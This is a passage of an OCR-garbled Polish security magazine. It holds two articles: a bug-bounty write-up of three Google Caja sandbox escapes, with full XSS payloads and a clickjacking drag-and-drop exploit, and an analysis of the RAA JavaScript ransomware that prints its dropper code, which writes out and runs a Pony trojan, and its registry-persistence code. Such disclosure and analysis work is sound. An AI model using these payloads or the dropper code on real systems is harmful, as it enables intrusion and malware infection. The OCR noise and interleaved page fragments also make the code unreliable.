definiowania skryptéw za pomoca Google Apps Script. Te skrypty moga by¢ traktowane
jaki swoisty odpowiednik makr w Microsoft Office. Mozemy wiec zdefiniowa¢ dodatko-
we funkcje w naszych dokumentach, np. dodanie nowych funkgcji w arkuszu kalkulacyj-
nym czy tez nowych pozycji w menu procesora tekstu, ktére zautomatyzuja najczesciej
wykonywane przez nas operacje. Za pomocg Apps Script mozemy tez wyswietla¢ do-
datkowe okna lub dodac¢ pasek boczny (sidebar) ze swoimi funkcjami. Google ma na
swoich stronach catkiem dobry wstep do tego, co mozna zrobic.

Gdy dodajemy witasne okna w aplikacji (niezaleznie od tego czy jest to okno na
pierwszym planie czy po prostu pasek boczny), mamy mozliwos¢ zdefiniowania
wtasnego kodu HTML. Oczywiscie, gdyby nadac twércom skryptéw mozliwos¢ do-
dawania catkowicie dowolnego HTML-a to mozliwos¢ zrobienia XSS-a bytaby oczy-
wista, wiec dodano tez sandboksowanie. Obecnie, programista moze zdefiniowac
jeden z dwoch trybow sandboksowania w Apps Scripts:

» IFRAME - kod HTML wyswietlany jest w elemencie <iframe> w losowo wygene-
rowanej subdomenie domeny googleusercontent.com,

» NATIVE - kod HTML jest sandboksowany za pomoca funkgji oferowanych przez
projekt Google Caja.

Google Caja (nazwa pochodzi od hiszpanskiego stowa oznaczajacego pudetko,
czyta sie /kahal/) jest ogolnodostepnym projektem, ktory stara sie zmierzy¢ z tym
samym problemem, ktéry pojawia sie na Google Docsach: umozliwienie uzytkow-
nikom umieszczania na stronie wtasnego kodu HTML, JavaScript czy CSS, ale w taki
sposob, zeby nie wptywac na bezpieczenstwo strony nadrzednej. Krétko mowiac:
uzytkownik z poziomu wtasnego skryptu nie powinien méc:

» Czytac ciasteczek zdomeny, w ktoérej skrypt jest umieszczony,
» Uzyskac dostepu do drzewa DOM z nadrzednej strony,
» Wykonywac zapytan http w kontekscie swojej nadrzednej domeny.

Tym samym wprowadzana jest ochrona przed najgrozniejszymi skutkami atakdw XSS.

Caja wygladata jak wdzieczny cel do analizy, bowiem jakiekolwiek wyjscie z jej
sandboksa oznaczato od razu XSS-a w domenie docs.google.com.

Twércy tego narzedzia udostepnili strone Caja Playground, na ktérej mozna wpi-
sa¢ dowolny kod HTML i zobaczy¢, w jaki sposob zostanie on przetworzony przez
Caje. Wtasnie w tym miejscu mozna byto wygodnie sprawdzac i testowac rézne spo-
soby wychodzenia z sandboksa.

CO CAJA ROBIEA ZLE, ROZDZIAE I

Jedna z bardzo wielu zadan, ktére Caja wykonywata tuz przed uruchomieniem
kodu JavaScript pochodzacego od uzytkownika, byta analiza tego kodu pod katem
wystepowania w nich ciggéw znakdw, ktére moga by¢ nazwami zmiennych. Nastep-
nie, wszystkie te nazwy byty usuwane z globalnej przestrzeni nazw JavaScriptu lub
byly podmieniane na obiekty odpowiednio zmodyfikowane przez Caje. Gdy wiec
prébowalismy sie dosta¢ do window, to nie otrzymywalismy prawdziwego obiektu
window, a pewien obiekt typu proxy, w ktérym kazde pole i kazda pola zostaty za-
stgpione przez odpowiednie wtasciwosci dostarczane przez Caje. Dzieki temu, nie
mieliSmy dostepu do prawdziwego drzewa DOM strony.

Naturalnym pomystem, ktory pojawia sie przy stwierdzeniu, ze Caja analizuje
kod katem wystepowania ciagow znakow, jest proba obfuskacji tego ciggu. Czyli
na przyktad — nie piszemy window, ale np. Function("win"+"dow") (celowo nie
uzytem eval, poniewaz w przestrzeni nazw Caji nie ma tej funkcji). Okazuje sie jed-
nak, ze kod odpowiedzialny za wyszukiwanie tych ciagéw znakdw, jest uruchamia-
ny w kazdym miejscu, w ktérym istnieje mozliwos¢ podania wtasnego kodu HTML/
JavaScript jako string. Czyli wszystkie innerHTML lub konstruktory Function(),
czy tez jakiekolwiek inne metody — odpadaja.

Okazato sie jednak, ze tworcy Caji przeoczyli mozliwos¢ wykorzystania innej,
dos¢ prostej cechy JavaScriptu... W kazdym jezyku programowania istniejg spo-
soby na escape’owanie znakéw w ciggu znakéw. W JavaScripcie mozemy uzywacd
albo sposobu odnoszacego sie do bajtéw, czyli np. "Tutaj jest cudzysiow:
\x22", albo tez sposobu odnoszacego sie do znakéw Unicode’u: "Tutaj jest
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cudzystow: \u@022". Specyficzng cechg JavaScriptu jest to, ze tego drugiego
sposobu mozna uzywac takze w identyfikatorach. Zatem - zamiast window, mo-
zemy napisa¢ \u@e77indow. | tylko tyle wystarczyto, by omina¢ zabezpieczenia
Caji! Kod odpowiedzialny za wyszukiwanie identyfikatoréw, nie brat pod uwage
réznych sposoboéw zapisania tego samego identyfikatora, w zwigzku z czym, uzycie
\u@077indow dawato dostep do prawdziwego obiektu window, a w konsekwencji
mozliwos¢ ucieczki z sandboksa.

Zobaczmy wiec, jak wygladato wykorzystanie tego w Google Docs. Po pierwsze,
nalezato stworzy¢ nowy dokument, a nastepnie przejs¢ do opcji: Tools->Script Edi-
tor. Tam wklei¢ nastepujacy kod skryptu:

function onOpen(e) { showSidebar(); }
function onInstall(e) { showSidebar(); }

function showSidebar() {
var payload =
'<script>\\u@077indow.top.eval("alert(document.domain)")</script>"';
var ui = HtmlService.createHtmlOutput(payload)
.setSandboxMode (HtmlService.SandboxMode .NATIVE)
.setTitle('XSS');
0. DocumentApp.getUi().showSidebar(ui);
1.}

auvThwWNER
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W linii szostej, widzimy zmienng payload, w ktorej zastosowana zostata sztuczka
opisana powyzej. Po zapisaniu skryptu i od$wiezeniu strony z dokumentem, zoba-
czylismy to, co na rysunku 1.

Rysunek 1. XSS w docs.google.com

Voila! Jest XSS w domenie docs.google.com, ktéry mozna byto zgtosi¢ do Go-
ogle’aizgarnagc za to bounty.

CO CAJA ROBIXA ZLE, RODZIAEL II

Po jakichs dwdch tygodniach, Google naniosto poprawke na zgtoszony prze-
ze mnie bfad. Poprawka ta robita tylko tyle, ze brata pod uwage réwniez fakt, ze
w identyfikatorach moga sie pojawic¢ encje \uXXXX i dekodowata je przed préba
Lusuniecia”ich z globalnej przestrzeni nazw. To rzeczywiscie dobre rozwigzanie. Ale
czy wystarczajace?

Niedawno wprowadzony standard ECMAScript 6, wprowadzit jeszcze jeden spo-
sOb escape’owania znakéw specjalnych w identyfikatorach i ciaggach znakéw, wy-
gladajacy tak: \u{XXX. . .}. Jaki w ogdle byt sens wprowadzania takiego udziw-
nienia? W starym sposobie, nie wszystkie znaki dato sie zapisa¢ za pomoca jednej
sekwencji UTF-16. Na przyktad, znak Emoji z usmiechnietag mordka ( ) nalezato
zapisac jako "\ud83d\ude@0" (moze sie wiec wydawag, ze sa to dwa znaki). Teraz
wystarczy tylko "\u{1f600}".

Polecam $wietng prezentacje Mathiasa Bynensa pt. Hacking with Unicode,
w ktorej autor pokazuje rozmaite problemy, jakie wynikaja z niewtasciwego rozu-
mienia Unicode’u przez programistow.

Podobnie jak sekwencja znakéw \uXXXX, tak i \u{XXX. ..} moze byc¢ réwniez
uzywana w identyfikatorach (znowoczesnych przegladarek nie wspiera tego jeszcze
tylko Firefox). Zatem uzyskujemy jeszcze jeden sposéb na dostanie sie do gtéwnego
obiektu w przegladarkowym JavaScripcie, mianowicie: \u{77}indow. Mogtoby sie
wiec wydawag, ze wystarczy zmodyfikowac troche moj poprzedni przyktad, zamie-
ni¢ \uev77indow na \u{77}indow i bedzie kolejny XSS. Rzeczywistos¢ jednak nie
okazata sie az tak prosta, bo Caja ma wbudowany swoéj wiasny parser JavaScriptu,
dziatajacy w oparciu o standard ECMAScript 5. Dla niej wiec zapis \u{77}indow by}
btedem sktadniowym, co zresztg potwierdzat btagd wyswietlany przy prébie wpisa-
nia takiego kodu.

1. Uncaught script error: 'Uncaught SyntaxError: Failed to parse program:
SyntaxError: Bad character escape sequence (2:2)' in source: 'https:/' at line: -1

Parserem, ktérego uzywata Caja byt acorn. | na cate szczescie, okazato sie, ze jest
w nim btad, ktéry umozliwia przemycenie dowolnego kodu zgodnego z ECMA-
Script 6. A byto to mozliwe dzieki... komentarzom.
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Zasadniczo, w JavaScripcie istniejg dwa sposoby na dodawanie komentarzy do
kodu. Oba sposoby sg znane z C/C++ i pojawiajg sie w licznych jezykach programo-
wania. Mamy wiec komentarz liniowy ( // komentarz do korica linii...)
i komentarz blokowy ( /* to jest komentarz */).JavaScript przegladarkowy
dodaje jednak dwa kolejne sposoby komentowania, ktére nadal dziatajg ze wzgle-
du na kompatybilnos¢ wsteczng. Oba wygladaja jak komentarze rodem z HTML-a
czy XML-a, bowiem sg to: <!--i -->.Rdznica jest taka, ze o ile z HTML-a i XML-a
kojarzymy, ze komentarz zaczynajacy sie od <!-- musi zosta¢ pdzniej zamkniety
przez -->,tak w JavaScripcie oba komentarze, sq komentarzami liniowymi! Co cie-
kawe, by sekwencja znakéw - -> zadziatata jako komentarz, to w linii przed nimi,
moggq sie znajdowac wytacznie biate znaki. Podsumowujac, ponizej przedstawiono
kod, ktory jest poprawny w kontekscie JavaScriptu w przegladarkach.

1. alert(1) <!-- komentarz liniowy
2. --> to réwniez jest komentarz liniowy, bo wczesniej wystepuja tylko biate znaki

Wspomniany wczesniej parser JavaScriptu — acorn - brat pod uwage mozliwos$¢ wy-
stepowania w kodzie takich komentarzy. Spéjrzmy na jego fragment kodu:

625. if (next == 33 && code == 60 && input.charCodeAt(tokPos + 2) == 45 &&
626. input.charCodeAt(tokPos + 3) == 45) {
627. // “<!--", an XML-style comment that should be interpreted
as a line comment
628. tokPos += 4;
629. skipLineComment();
630. skipSpace();
631. return readToken();
632. }
Mamy fragment kodu odpowiedzialnego za wykrywanie komentarzy <! - -. Zmien-

na tokPos, w skrocie méwiac, zawiera aktualng pozycje kodu JS, ktéra jest prze-
twarzana. Widzimy w linii 628, ze wartosc¢ tej zmiennej jest zwiekszana o cztery. Ma
to sens, bo pomijane sg cztery znaki rozpoczynajace komentarz (czyli <! --). Na-
stepnie za$ wywotywana jest metoda skipLineComment.

499, function skipLineComment() {
500. var start = tokPos;
501. var startLoc = options.onComment && options.locations && new line_loc_t;
502. var ch = input.charCodeAt(tokPos+=2);
503. while (tokPos < inputlLen && ch !== 10 &&
ch == 13 && ch !== 8232 && ch !== 8233) {

504. ++tokPos;

505. ch = input.charCodeAt(tokPos);

506.

507. if (options.onComment)

508. options.onComment(false, input.slice(start + 2, tokPos), start, tokPos,
509. startLoc, options.locations && new line_loc_t);

510. }

Problem widzimy w linii 502. Autor parsera, implementujac metode skipLineCom-
ment, najprawdopodobniej zatozyt, ze jedynym komentarzem liniowym w Java-
Scripcie jest //, dlatego znéw zwieksza wartos¢ zmiennej tokPos o dwa. | dopie-
ro potem szuka wystapienia znaku nowej linii, ktéra zakonczy komentarz. Jaki jest
tutaj problem? Jezeli jednym z dwéch znakéw znajdujacych sie bezposrednio za
<!--, bedzie znak nowej linii, to parser nie ,zauwazy” i w efekcie - zatozy ze cata
nastepna linia jest komentarzem.
Jesli wiec zapodamy nastepujacy kod JavaScript:

1. <!--
2. \u{77}indow.top.eval('alert(document.domain)")

To z punktu widzenia parsera bedzie, to wygladato tak, ze cafa ta druga linia znajdu-
je sie w komentarzu. Dzieki temu, mozemy tam wrzuci¢ kod zgodny z ECMAScript6,
na ktorym parser nie wyswietli btedu w sktadni i w ten sposéb, zdobywamy kolejne-
go XSS-a w Google Docs. Oto nowy payload:

. function onOpen(e) { showSidebar(); }
function onInstall(e) { showSidebar(); }

function showSidebar() {

var payload = '<script><!--\n\\u{77}indow.top.eval("alert(document.domain)")
</script>';

var ui = HtmlService.createHtmlOutput(payload)
.setSandboxMode (HtmlService.SandboxMode.NATIVE)
.setTitle('XSS'");

0.  DocumentApp.getUi().showSidebar(ui);

1.}

AUVThAWNER
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Zmieniona zostata tylko linia nr 6. Na samym poczatku mamy komentarz <! - -, za
ktédrym znajduje sie znak nowej linii, a nastepnie mamy wykorzystang te sztuczke
z \u{77}indow. XSS znowu sie wykonat, wpadto kolejne bounty.

Po dwéch tygodniach Google znowu wprowadzito poprawke do Caji, tym razem
juz bardziej uniwersalng, chronigca przed dalszymi atakami polegajacymi na zapi-
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sywaniu tego samego identyfikatora na rézne sposoby. Wydawato sie, ze studnia
btedoéw z Caji juz sie wyczerpata.

CO GOOGLE ZROBIEO ZLE

Gdy minety jakies dwa miesigce od wdrozenia tej poprawki, jeszcze raz przyjrza-
tem sie réznym miejscom, w ktérych Google korzysta z Caji. Jednym z nich, jest stro-
na Google Developers, na ktérej znajduja sie wskazoéwki dla programistow o tym,
w jaki sposob nalezy korzysta¢ z Caji. Google umiescito tez kilka aplikacji demo
z przyktadami. Ciekawie wygladajacym przyktadem byt: https://developers.google.
com/caja/demos/runningjavascript/host.html. Na tej stronie, moglismy poda¢ swoj
wiasny adres URL do skryptu JS, ktéry byt pobierany i uruchamiany w srodowi-
sku Caji. Problem w tym, Ze ta strona nadal odnosita sie do starej wersji Caji - tej,
w ktoérej dziataty jeszcze wyjscia z sandboksa, o ktérych pisatem w poprzednich aka-
pitach! Jesli wiec wpisatem w polu tekstowym po prostu data:, \u@@77indow.
top.alert(1), to wykonat sie XSS w kontekscie domeny developers.google.com
(Rysunek 2).

Rysunek 2. ,Self-XSS” w developers.google.com

Nie mogtem jednak jeszcze na tym etapie zgtosi¢ tego problemu do Google. Zeby
wykorzysta¢ tego XSS-a, uzytkownik musiatby sam w polu Formula URL, wpisac zto-
sliwy kod JS, ktory miatby nastepnie zosta¢ wykonany. Jako, ze jest to dos¢ mato
prawdopodobna interakcja uzytkownika, trzeba byto tutaj wymysli¢ lepszy sposéb.

Z duzg pomoca przyszedt fakt, ze na wyzej wymienionej stronie nie byt stosowa-
ny nagtéwek X-Frame-Options. Dzieki temu, istniata mozliwos¢ umieszczenia tej

strony w elemencie <iframe> i skorzystania z mechanizmu drag-n-drop, by nie$wia-
domy uzytkownik sam przeciggnat payload XSS-owy na strone developers.google.
com, a nastepnie go wykonat.

Taka sztuczka dziata tylko w Firefoksie i przypomina ataki clickjackingowe. Za-
cznijmy jednak od poczatku. W HTML5 mozemy zdefiniowac element jako ,przecia-
galny”, dodajac do niego atrybut draggable=true. W drugiej kolejnosci, musimy
obstuzy¢ przecigganie, przypisujac funkcje do zdarzenia ondragstart. W moim
przypadku, obstuga tego zdarzenia wygladato nastepujaco:

1. <script>
2. function drag(ev) {

3. ev.dataTransfer.setData(
"text", "data:,\\u@@77indow.eval('alert(document.domain)')//");

4. }
5. </script>

W ten sposéb sprawiamy, ze po upuszczeniu tego elementu na innej stronie lub
w innej aplikacji, w miejscu upuszczenia zostanie umieszczony tekst data:,\
uee77indow.eval('alert(document.domain)')//.

Przekonanie uzytkownika, by przeciagnat nasz element w pozadane miejsce tez
nie jest trudne. Wystarczy stworzy¢ odpowiedni opis, np. ze moze wygra¢ miliony
dolaréw, a w rzeczywistosci umiesci¢ pod strong niewidzialnego iframe’a, gdzie
uzytkownik przeniesie payload XSS-owy, a nastepnie go wykona.

Caty kod HTML-owy wygladat nastepujaco:
1. <script>
2. function drag(ev) {

ev.dataTransfer.setData(
"text", "data:,\\u@®77indow.eval('alert(document.domain)')//");

}

</script>

w

No v b

<div id=targetl style="background-color:blue;width:10px;height:60px;
position:fixed;left:322px;top:117px;"></div>

<div id=target2 style="background-color:green;width:120px;height:60px;
position:fixed;left:325px;top:194px;"></div>

o]

10. <div style="font-size:60px;background-color:red;color:green;width:10px;
height:60px" draggable=true ondragstart=drag(event) id=paldpals>.</div>
11. <br><br>
12. <iframe src="https://developers.google.com/caja/demos/runningjavascript/
host.html?" style="width:150px; height:500px; transform: scale(4);
position:fixed; left:500px; top:350px; opacity: ©; z-index: 100">
</iframe>
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Na filmiku zaprezentowano wykonanie ataku... Kaboom! Dzieki temu wpada
kolejne bounty :)

PODSUMOWANIE

Google Caja to projekt, ktérego zadaniem jest pozwolenie uzytkownikom na
uzywanie wtasnego kodu HTML/JS/CSS w kontekscie innej witryny. W zatozeniu,
kod ten powinien by¢ odpowiednio izolowany od oryginalnego drzewa DOM. Dzie-
ki znalezieniu sposobdéw na wyjscie z sandboksa, a takze btedu w parserze JS uzy-
wanego przez Caje, udato sie wykonac¢ dwa XSS-y w domenie docs.google.com.
Pézniej, ze wzgledu na przeoczenie Google’a i niezaktualizowanie Caji na wszyst-
kich stronach, ktore z niej korzystaja, mozliwe byto wykonanie XSS-a w domenie
developers.google.com, korzystajac ze sztuczki z naduzyciem drag-n-drop, ktéra
dziata tylko w Firefoksie. Summa summarum - jeden btgd w Google Caja dostarczyt
trzech oddzielnych bounty za XSS-y.

Michat Bentkowski. Realizuje testy penetracyjne oraz audyty
bezpieczenstwa w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie
(i z sukcesem) uczestniczy w znanych programach bug bounty.
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Poczatkuiacy | BELTDNIM | ZAAWANSOWANY DEFENSYWA |
Analiza ransomware napisanego 100% » */ cze$¢ kodu generujaca dokument w formacie RTF z informacja dla zainfeko- SEKURAK.PL / (TN
W ]’avascripcie - RAA wanego uzytkownika — linie od 1083 do konca pliku

14 czerwca 2016r., znalaztem informacje o nowym ransomware o nazwie
RAA. Kilka serwiséw zwigzanych z bezpieczenstwem okreslito go jako
pierwsze tego rodzaju oprogramowanie napisane w catosci w JavaScrip-
cie, wlacznie z algorytmem szyfrujgcym pliki na dysku komputera ofiary.

Dzieki informacjom otrzymanym od @hasherezade, ktéra na co dzien zajmuje sie anali-
za ztosliwego oprogramowania, pobratem kod zZrédtowy RAA i przystapitem do analizy.

Jako programista, ktéry stale ma do czynienia z jezykiem JavaScript, w swojej
analizie skupitem sie gtéwnie na jego dziataniu, bez wchodzenia w szczegéty imple-
mentacyjne — np. obiektéw Windows Script Hosts, ktére RAA intensywnie wykorzy-

Biblioteka Crypto]S

Jest ogolnie dostepna, otwartozrodtowg bibliotekg udostepniong takze w ser-
wisie GitHub (fork), szeroko wykorzystywang w wielu projektach. CryptoJS zawiera
implementacje wielu popularnych algorytmow kryptograficznych lub funkcji mie-
szajacych, w tym wykorzystywanego w RAA AES-a.

Poczatek

Na ponizszym schemacie przedstawitem kolejnos¢ wywotan gtéwnych metod,
z ktérych czeéc¢ zawiera wtasne, zdefiniowane wewnatrz pomocnicze funkgcje reali-
zujace dodatkowe operacje, np. filtrowanie tablic z nazwami plikéw.

Protokét WebSocket

Czym jest XPATH injection?
Google Caja i XS5-y

- czyli jak dostac trzy razy bounty

za (prawie) to samo

Analiza ransomware napisanego
100% w Javascripcie — RAA

stuje do operacji na plikach w zainfekowanym systemie. Jesli kto$ chciatby pozna¢ 1. YUIMAKFKI() Metody omijania mechanizmu
dziatanie tych obiektéw doktadniej, moze skorzysta¢ z linkéw ktére zamiescitem 2. Content Security Policy (CSP)
w opisie niektorych fragmentéw kodu. Z: \I/
5 nYuMHHRx () Nie ufaj X-Forwarded-For
ANALIZA S voreIIrexo
W poszczegélnych jej etapach opisze wszystkie funkcje wchodzace w sktad gtéw- 5 20 U\zIonLQ() o HEG0) Java vs deserializacja
nej logiki RAA oraz przesledze wykonanie kodu od poczatku azdo momentu, w kto- 10. ! | nlez?yfanych danych.
L . . - - 11. | Czesc 1: podstawy
rym pojawia sie informacja o okupie, a pliki na twardym dysku sg juz zaszyfrowane. 12, v
Dla osoby na co dzieh pracujacej z nowoczesnym jezykiem programowania Ja- 12: try 3TNMmZ() ________ e e
vaScript, pierwszy kontakt z RAA pozwala stwierdzi¢, ze jest to jeden wielki spa- 15. } catch { | niezaufanych danych. Czesé 2:
ghetti code, w ktérym definicje funkgcji oraz ich wywotania mieszaja sie ze sobg, 13: y iz20() I mniej typowe metody ataku
i w ktérym zastosowane sg nawet definitywnie odradzane mechanizmy jezyka, ta- 18. | |
kie jak instrukcje skokow do etykiet (wyjasnienie jak dziataja, znajduje sie w opisie ;g: I Ndpc‘,\jJVAPrNj() Java vs deserializacja
jednego z fragmentéw ponizej). g; I( ___________ i\zle() niezaufanych danych. Czes¢ 3:
W repozytorium w serwisie GitHub znajduje sie plik raa.js, ktory zawiera oryginalny, 23, | metody obrony
nie zmodyfikowany kod JavaScript analizowanego ransomware. Przy pierwszym podej- g‘s‘: iKTZQK‘é —_—
$ciu do analizy staratem sie nada¢ zmiennym i funkcjom bardziej,przyjazne” nazwy, ale 26. |
po pewnym czasie zrezygnowatem - stwierdzitem, ze nie poprawia to czytelnosci kodu. g;: PLnEyq‘C’PKH\,()
W tym podejsciu wyodrebnitem trzy gtéwne czeséci programu (wspomniany wy- 29. v
zej plik z kodem zrédtowym znajduje sie tutaj): 323 gﬁmfNJMpKTV()
» */biblioteka CryptoJS - linie od 1 do 482 2 , whE?gwgggigzcigf‘iiigﬁnc"ypt)
» */ gtéwna czesc¢ kodu RAA - linie od 485 do 1082 o
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https://github.com/hasherezade
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Pierwsza wykonywalnainstrukcja kodu, to proste przypisanie wartosci zwracanej
przez funkcje YUIMgkFKI () dozmiennejTBucypWw.Gdy przyjrzymy sie co zawiera
funkcja YUIMgkFkI() okaze sie, ze to prosty algorytm zwracajacy piecioznakowa
sekwencje wygenerowang poprzez losowy wybér znakéw z ciggu WKQttPJDfsQE:

1. function YUIMgkFKI() {
2. var TBucyplWw = "";
3. var WKQttPIDfsQE =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789";
4. for (var i = 0; i < 5; i++)
5. TBucypWw += WKQttPJIDfsQE.charAt(
Math.floor(Math.random() * WKQttPIDfsQE.length));
6. return TBucypWw;
7.}

Jak okaze sie dalej, ten piecioznakowy klucz, zapisany w zmiennej TBucypWw, jest
uzywany przez RAA w wielu innych miejscach. Na potrzeby tego artykutu przyjmij-
my, ze jego wartosc to ,xW5Gf".

Poznajcie Pony
Nastepnym wykonywalnym fragmentem kodu jest:

1. var Yvwtdbvd = Wscript.Arguments;
2. if (Yvwtdbvd.length == 0)

3.

4, NYUMHHRX () ;

5. NWvQtGFFQX();

6. } else {

7. null;

8. }

W przypadku gdy do skryptu zostang przekazane jakie$ argumenty, program nie
wykona zadnych operacji.
W przeciwnym razie wykonaja sie dwie funkcje, ktobre omowie ponizej.

Funkcja nYuMHHRx()JavaScript

1. function nYuMHHRx() {

2 var tpcVIWrQG = "elxy(...)OBBSDIO==";

3. tpcVIWrQG = tpcVIWrQG.replace(/BBSDIO/g, "A");

4 var clear_tpcVIWrQG = CryptolS.enc.Base64.parse(tpcVIWrqQG);

5 var CLWSNdGnlGf = clear_tpcVIWrQG.toString(CryptolS.enc.Utf8);

6. CLWSNdGNn1Gf = CLWSNdGnlGf.replace(/BBSDIO/g, "A");
7. var RRUm = new ActiveXObject('ADODB.Stream');
8. var GtDEcTuuN = WScript.CreateObject("WScript.shell");
9. var TkTuwCGFLuv_save = GtDEcTuuN.SpecialFolders("MyDocuments");
10. TkTuwCGFLuv_save = TkTuwCGFLuv_save + "\\"
+ "doc_attached_" + TBucypWw;
11. RRUmM.Type = 2;
12. RRUm.Charset = "437";
13. RRUm.Open();
14. RRUm.WriteText (CLWSNAGn1Gf);
15. RRUm.SaveToFile(TkTuwCGFLuv_save);
16. RRUm.Close();
17. var run = "wordpad.exe " + "\"" + TkTuwCGFLuv_save + "\"";
18. GtDECTuUuN.Run(run);
19. return 0;
20. }

Zmienna tpcVIWrQG zdefiniowana na samym poczatku, zawiera kilkudziesiecio-
bajtowy ciag w Base64, na ktérym wykonywanych jest kilka operacji (odkodowanie
danych z Base64, przeksztatcenie z uzyciem metody JavaScript operujacej na cia-
gach —replace()). Nastepnie, tworzony jest obiekt ActiveX o nazwie ADODB.Stream
oraz nowy obiekt WScript.shell, ktéry m.in. umozliwia uruchamianie komend wier-
sza polecen systemu Windows:

1. var RRUm = new ActiveXObject('ADODB.Stream');
2. var GtDEcTuuN = Wscript.CreateObject("Wscript.shell");

Kolejna linia:

| 1. RRUm.Charset = "437";

pozwala obiektowi ADODB.Stream traktowac ciggi znakoéw JavaScript, jako dane
binarne (ta definicja stosowana jest w analizie kilkakrotnie, zatem nie bede jej po-
nownie przytaczat w kolejnych etapach badania).

Nastepne linijki to utworzenie nowego pliku w nastepujacej sciezce:
» \MyDocuments\doc_atatched_xW5Gf

i zapisanie do niego zawartosci odczytanej ze zdekodowanego ciaqgu w Base64.
Ostatnim elementem funkgji jest instrukcja uruchomienia WordPada, z argumen-
tem bedacym przed chwilg utworzonym plikiem:

1. GtDEcTuuN.Run(run);
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Plik jest dokumentem w formacie RTF - jego zawartos¢ przedstawia ponizszy Funkcja NWvQtGjjfQX() SEKURAK.PL / (TN

zrzut ekranu: Druga z funkcji zawiera nastepujacy kod:

1. function NWvQtGjjfQX() { .

2 var data_pn = "TVrDiQNMSFE(...)QQURE"; Protokét Web5Socket

3 var cmd = "U2FsdGVkX1/LHQl+aIAo/hXHDEISYmZZtBIcL5LHG70+NZ

4. yTxtiLAxCsucmNONBq12nnNJI7X0CyeXqF9xLAkahyIcXx50c/ic5FRpoj+tZ1 : o 9

5. qywTZNhPWMIR11Gn808ViVnpXMYHoIr/AphGHFaAOKX8XY ] uhZE8qwlQwiv] Czym jest XPATH injection?

6. bgdbM1v5RL3xXTETBgbylCgyGER91Kef4Q/2Ytok0qzg+0BZIjKpdIbrljQdh8

7. uWpSMKd+Y9dSm1Lz9d182QIVVbFiBj7N6MEDCWSIESViSHi IHWFEb3eyacdIB .

8. XYtKutbAZBOl6aJrLyxKt1xm4o9Cies+vIPgMtqHEMBWPIGaGYDQLXXX0uTey Google Caja i XS5-y

. srylLXQiCGP7msk2hgAOEhyfxchlAQumadtwTFqHOrPZDECk8hfVIkBvUZg/h = czyli jak dostac trzy razy bounty
10. 1+y4gKbBBLVDEILKWOAStpCAP6FOCT/bsS+0fvHN11fAtMB1ASBSHKhZX/6e :

11. MPBGOBQT5fqvyy8MLYMgLOSCt5XHYEgc2ecUlfDokpzzMxMgIPWFZoQDOZSg/ za (prawie) to samo
12. pBOMVTYUHUV18WdWI+Q61ppzIUvAmyxEioH7SROiDFqIoHRAEWIADOOQR82Q4

13. RTTIWO9CFXkC5VnX1lEncsU45rIzfEMDv4rlaqoYQlgFr6xjase/e7+EVCoxhs

(o}

14. paC2Jta43NmC6uLnhjcWRACCB/8="; Analiza ransomware napisanego

15. var key_cmd = "2c@25c@alad5d1f18dF9ca3514babdbc”; 100% w Javascripcie — RAA

16. var dec_cmd = CryptolS.AES.decrypt(cmd, key_cmd);

17. dec_cmd = CryptolS.enc.Utf8.stringify(dec_cmd);

18. eval(dec_cmd); Metody omijania mechanizmu

;g' ) return @; Content Security Policy (CSP)
Zawarto$¢ zmiennej data_pn zostata przeze mnie zmniejszona, by zachowa¢ czy- Nie ufaj X-Forwarded-For
telnosc¢ (oryginalnie zawiera ona bardzo dtugi, losowy cigg znakéw). Dwie kolejne
zmienne — cmd oraz key_cmd, stuzg do wygenerowania dec_cmd (cigg cmd jest de- Java vs deserializacja

niezaufanych danych.

kodowany z uzyciem klucza key _cmd i algorytmu AES). =
Czes¢ 1: podstawy

Zmienna dec_cmd okazuje sie by¢ wykonywalnym fragmentem kodu JavaScript,
natomiast opisana powyzej operacja z AES to ciekawa metoda obfuskacji kodu Ja-
vaScript, ktéra wymaga jednak uzycia takiej biblioteki jak CryptolS, do uzyskania
kodu w czytelnej postaci.

Jego zawartos$¢ prezentuje ponizszy listing:

Java vs deserializacja
niezaufanych danych. Czes¢ 2:
mniej typowe metody ataku

var flo = new ActiveXObject ("ADODB.Stream"); Java vs deserlallzaqa

var runer = WScript.CreateObject("WScript.Shell"); niezaufanych danych. Czes’c’ 3:
var wher = runer.SpecialFolders("MyDocuments");

wher = wher + "\\" + "st.exe"; metody Obrony
flo.CharSet = "437";

flo.Open();

var pny = data_pn.replace(/NMSIOP/g, "A");

var pny_ar = CryptoJS.enc.Base64.parse(pny);

var pny_dec = pny_ar.toString(CryptolS.enc.Utf8);

10. flo.Position = 0;

11. flo.SetEOS;

12. flo.WriteText(pny_dec);

13. flo.SaveToFile(wher, 2);

14. flo.Close;

VooNOOUVTDh WNBR

Rysunek 1. Zrzut ekranu zawartosci dokumentu w formacie RTF
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https://github.com/bl4de/research/blob/master/raa-ransomware-analysis/extracted/extracted_rtf.rtf
$$$/Dialog/Behaviors/GoToView/DefaultURL

Rafat 'bl4de' Janicki Analiza ransomware napisanego 100% w Javascripcie...

15. wher = "\"" + wher + "\"";
16. runer.Run(wher);

Ten kod jest wykonywany przez — ostatnig przed return — instrukcjag w funkcji
NwvQtGjjfQX():
1. dec_cmd = CryptoJS.enc.Utf8.stringify(dec_cmd);

2. eval(dec_cmd);
3. return 0;

Jego funkcjonalnos¢ jest zblizona do kodu opisanego wczesniej: utworzenie pliku,
zapisanie do niego zawartosci ciggu data_pn poddanego kliku kolejno nastepuja-
cych po sobie przeksztatceniom, a nastepnie jego uruchomienie. Plik ten znajduje
sie w repozytorium i jest to - wg analizy - malware o nazwie Pony. Wiecej o Pony
mozna przeczytac tu lub tu.

Oznacza to, ze poza szyfrowaniem plikéw RAA uruchamia na komputerze ofiary
trojana.

Modyfikacja rejestru Windows
Kolejna funkcja zajmuje sie modyfikacja rejestru Windows sprawiajac, by ran-
somware byt uruchamiany po kazdym restarcie systemu i kontynuowat swojg prace:

1. function zQqUzoSxLQ() {

2 var QCY;

3. var kHkyz = WScript.CreateObject("WScript.Shell");
4. try {

5. kHkyz .RegRead ( "HKCU\\RAA\\Raa-fnl\\");
6 } catch (e) {

7 QCY = o;

8. }

9. var 1CMTwIKZ = [];

10. var bazk = "wscript.exe";

11. var AFtKLHIjDtkM = 0;

12. var e = new Enumerator(GetObject("winmgmts:").InstancesOf("Win32_process"));
13. for (; l!e.ateEnd(); e.moveNext()) {

14. var p = e.item();

15. 1CMTwIKZ = 1CMTwIKZ + p.Name + ",";
16. }

17. 1CMTWIKZ = 1CMTwIKZ.split(",");

18. var jcayrm = -1;

19. do {

